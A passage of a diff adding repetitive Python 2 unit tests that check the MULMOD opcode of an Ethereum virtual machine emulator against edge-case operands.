+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_140(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_141(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_142(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_143(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_144(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_145(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_146(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_147(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_148(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_149(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_150(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_151(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_152(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_153(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_154(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_155(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_156(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_157(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_158(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_159(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_160(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_161(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_162(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_163(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_164(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_165(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_166(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_167(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_168(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_169(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_170(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_171(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
